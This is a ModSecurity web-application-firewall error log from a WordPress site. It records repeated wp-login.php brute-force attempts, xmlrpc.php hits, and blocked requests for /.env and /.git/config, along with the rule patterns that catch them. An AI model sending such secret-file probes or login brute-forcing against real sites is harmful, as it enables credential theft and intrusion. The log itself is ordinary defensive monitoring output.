[Thu Nov 13 00:32:06.285586 2025] [:error] [pid 12744:tid 12753] [client 205.196.208.80:33294] [client 205.196.208.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 205.196.208.80, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRS2hp1cp_ouUvkFj0WwKQAAAQU"]
[Thu Nov 13 00:42:39.074414 2025] [:error] [pid 12744:tid 12750] [client 103.133.214.209:33064] [client 103.133.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.133.214.209, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRS4_51cp_ouUvkFj0WycgAAAQI"]
[Thu Nov 13 00:42:51.448319 2025] [:error] [pid 60405:tid 60421] [client 37.140.223.226:23679] [client 37.140.223.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRS5C3MGv_mlVi6mf5pHqgAAAA0"]
[Thu Nov 13 00:46:43.778538 2025] [:error] [pid 12744:tid 12752] [client 13.54.166.120:35828] [client 13.54.166.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aRS5851cp_ouUvkFj0WziAAAAQQ"]
[Thu Nov 13 00:50:50.155291 2025] [:error] [pid 60405:tid 60408] [client 94.250.251.7:57918] [client 94.250.251.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.250.251.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRS66nMGv_mlVi6mf5pJZgAAAAA"]
[Thu Nov 13 00:57:55.965885 2025] [:error] [pid 60096:tid 60151] [client 37.140.223.216:33963] [client 37.140.223.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRS8kzmzkhCvvk8DXOzmNQAAAJM"]
[Thu Nov 13 01:13:36.497404 2025] [:error] [pid 60096:tid 60135] [client 37.140.223.219:28757] [client 37.140.223.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTAQDmzkhCvvk8DXOzo6QAAAIk"]
[Thu Nov 13 01:28:55.723755 2025] [:error] [pid 60097:tid 60166] [client 37.140.223.231:53791] [client 37.140.223.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.231, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTD18dT5oio_TbWpi_HvQAAAM0"]
[Thu Nov 13 01:34:19.281253 2025] [:error] [pid 60095:tid 60108] [client 185.56.74.92:1384] [client 185.56.74.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.56.74.92, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTFG3lw2elroagFF1p5uwAAAEk"]
[Thu Nov 13 01:34:20.487119 2025] [:error] [pid 60095:tid 60110] [client 185.56.74.92:1384] [client 185.56.74.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.56.74.92, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTFHHlw2elroagFF1p5vAAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 02:00:31.047807 2025] [:error] [pid 60097:tid 60152] [client 45.139.104.183:39122] [client 45.139.104.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aRTLP8dT5oio_TbWpi_OTAAAAMU"]
[Thu Nov 13 02:20:54.400605 2025] [:error] [pid 60096:tid 60137] [client 45.139.104.183:42814] [client 45.139.104.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aRTQBjmzkhCvvk8DXOzzWQAAAIs"]
[Thu Nov 13 02:37:41.157943 2025] [:error] [pid 12744:tid 12767] [client 185.56.74.92:5688] [client 185.56.74.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.56.74.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRTT9Z1cp_ouUvkFj0XOmQAAARM"]
[Thu Nov 13 02:51:19.707776 2025] [:error] [pid 23737:tid 23752] [client 162.213.251.158:50672] [client 162.213.251.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.213.251.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTXJxQUsVVfOZWgW_U-GgAAAYM"]
[Thu Nov 13 03:38:00.885738 2025] [:error] [pid 60097:tid 60163] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiGMdT5oio_TbWpi_nPQAAAMo"], referer: https://www.facebook.com/
[Thu Nov 13 03:38:02.648287 2025] [:error] [pid 60097:tid 60167] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiGsdT5oio_TbWpi_nPgAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:08.271723 2025] [:error] [pid 60097:tid 60166] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiIMdT5oio_TbWpi_nQQAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:12.396146 2025] [:error] [pid 60097:tid 60171] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiJMdT5oio_TbWpi_nRwAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:16.443796 2025] [:error] [pid 60097:tid 60163] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiKMdT5oio_TbWpi_nSwAAAMo"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:20.100200 2025] [:error] [pid 60097:tid 60169] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiLMdT5oio_TbWpi_nTwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:23.900924 2025] [:error] [pid 60097:tid 60144] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiL8dT5oio_TbWpi_nUgAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:28.209829 2025] [:error] [pid 60097:tid 60171] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiNMdT5oio_TbWpi_nVwAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:32.198103 2025] [:error] [pid 60097:tid 60165] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiOMdT5oio_TbWpi_nXAAAAMw"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:38:36.415308 2025] [:error] [pid 60097:tid 60176] [client 77.90.185.10:65085] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiPMdT5oio_TbWpi_nZAAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:02.944079 2025] [:error] [pid 30270:tid 30281] [client 77.90.185.10:59074] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiVpv0PknBpBLgOfP3bQAAAAc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:07.807248 2025] [:error] [pid 30270:tid 30276] [client 77.90.185.10:59074] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiW5v0PknBpBLgOfP3ewAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:11.926998 2025] [:error] [pid 30270:tid 30298] [client 77.90.185.10:59074] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiX5v0PknBpBLgOfP3hQAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:15.614645 2025] [:error] [pid 30270:tid 30283] [client 77.90.185.10:59074] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiY5v0PknBpBLgOfP3jAAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:19.332086 2025] [:error] [pid 30270:tid 30292] [client 77.90.185.10:59074] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiZ5v0PknBpBLgOfP3mQAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:22.988118 2025] [:error] [pid 30270:tid 30297] [client 77.90.185.10:59074] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiapv0PknBpBLgOfP3nQAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:30.545602 2025] [:error] [pid 30635:tid 30642] [client 77.90.185.10:50157] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTickqorGihn2cldUcIcQAAAQQ"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:38.432760 2025] [:error] [pid 30825:tid 30835] [client 77.90.185.10:61733] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTieuihA32B47yJGLWtZQAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:39:58.973010 2025] [:error] [pid 31171:tid 31204] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTijm6_nGTJrMUjCctkNAAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:02.845659 2025] [:error] [pid 31171:tid 31210] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTikm6_nGTJrMUjCctkUwAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:07.017828 2025] [:error] [pid 31171:tid 31210] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTil26_nGTJrMUjCctkXAAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:10.876420 2025] [:error] [pid 31171:tid 31206] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTimm6_nGTJrMUjCctkYQAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:14.847245 2025] [:error] [pid 31171:tid 31201] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTinm6_nGTJrMUjCctkZQAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:18.612307 2025] [:error] [pid 31171:tid 31205] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiom6_nGTJrMUjCctkbQAAAAw"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:23.798887 2025] [:error] [pid 31171:tid 31203] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTip26_nGTJrMUjCctkeAAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:27.822441 2025] [:error] [pid 31171:tid 31194] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiq26_nGTJrMUjCctkgAAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:31.811997 2025] [:error] [pid 31171:tid 31193] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTir26_nGTJrMUjCctkgwAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:35.843568 2025] [:error] [pid 31171:tid 31199] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTis26_nGTJrMUjCctkhgAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:39.485891 2025] [:error] [pid 31171:tid 31207] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTit26_nGTJrMUjCctkigAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:43.424993 2025] [:error] [pid 31171:tid 31200] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiu26_nGTJrMUjCctkkgAAAAc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:47.088243 2025] [:error] [pid 31171:tid 31202] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiv26_nGTJrMUjCctkoQAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:51.077888 2025] [:error] [pid 31171:tid 31216] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiw26_nGTJrMUjCctkrwAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:55.219364 2025] [:error] [pid 31171:tid 31198] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTix26_nGTJrMUjCctkugAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:40:58.814609 2025] [:error] [pid 31171:tid 31203] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTiym6_nGTJrMUjCctkwAAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:41:02.641351 2025] [:error] [pid 31171:tid 31198] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTizm6_nGTJrMUjCctkxQAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:41:06.609171 2025] [:error] [pid 31171:tid 31214] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTi0m6_nGTJrMUjCctkzAAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:41:10.624436 2025] [:error] [pid 31171:tid 31204] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTi1m6_nGTJrMUjCctk0gAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:41:14.297032 2025] [:error] [pid 31171:tid 31202] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTi2m6_nGTJrMUjCctk1gAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:41:17.906682 2025] [:error] [pid 31171:tid 31196] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTi3W6_nGTJrMUjCctk2QAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:41:21.578865 2025] [:error] [pid 31171:tid 31194] [client 77.90.185.10:63793] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTi4W6_nGTJrMUjCctk3AAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 13 03:50:18.272094 2025] [:error] [pid 3479:tid 3504] [client 185.23.117.23:46214] [client 185.23.117.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.23.117.23, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRTk-r5pIHZYwh91Q4nOpwAAANU"]
